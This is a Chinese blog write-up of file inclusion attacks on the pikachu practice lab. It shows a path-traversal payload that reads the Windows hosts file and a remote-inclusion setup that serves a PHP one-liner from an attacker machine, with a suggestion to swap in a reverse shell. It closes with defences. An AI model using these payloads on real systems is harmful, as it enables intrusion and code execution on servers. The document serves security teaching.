靶机复现-pikachu靶机文件包含漏洞

本篇文章旨在为网络安全渗透测试靶机复现学习。通过阅读本文,读者将能够对渗透pikachu靶场文件包含漏洞复现有一定的了解

原文学习链接

CSDN博主:One_Blanks
主页地址

靶机资源下载

PHPStudy
pikachu

一、前言

文件包含漏洞是编程中的一种安全隐患,常见于PHP等语言。它源于程序运行时依据用户输入或外部数据动态包含文件的机制,当对输入路径缺乏足够验证和过滤时,攻击者可构造恶意路径。这一漏洞危害巨大,既能实现代码执行,让攻击者在目标服务器植入恶意程序、控制服务器,又能导致敏感信息泄露,像数据库和用户认证信息等外流。防范方面,要对包含文件的输入严格验证过滤,采用白名单等方式确保文件来源合法;在服务器端(如PHP里)关闭远程文件包含功能;同时遵循最小权限原则,限制运行Web应用的用户的权限,从而降低被攻击后的损害程度。

二、本地文件包含

1、 burp抓包

2、burp修改参数:替换文件路径

..\..\..\..\..\..\windows\system32\drivers\etc\hosts

三、远程文件包含

1、攻击机开启http微服务,创建一句话木马

<?php phpinfo();?>   #读取phpinfo 也可以写其他反向shell
python -m http.server 8008   #当前目录开启http服务 端口8008

2、burp修改数据包,将文件改为kali的一句话php

http://192.168.60.128:8008/webshell.php

四、防范措施

1、输入验证与过滤

严格限制输入来源:对于任何可能用于文件包含的用户输入或外部数据,要明确其来源范围。例如,在Web应用中,如果是通过表单提交的文件名,只允许特定的字符集,如字母、数字和下划线,并且限制长度。

2、白名单验证

白名单验证:建立一个合法文件的“白名单”。当需要包含文件时,检查要包含的文件名是否在白名单内。比如,在一个特定的模块中,只允许包含预先定义好的几个配置文件或函数库文件。

3、关闭远程文件包含

在PHP中,将allow_url_include设置为Off(可在php.ini文件中进行设置)。这样可以防止攻击者通过URL来包含远程恶意脚本。

4、限制包含路径

设定安全的包含路径范围。例如,在应用程序中,只允许包含特定目录及其子目录下的文件,避免用户能够访问到系统关键目录或其他不相关的敏感区域。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值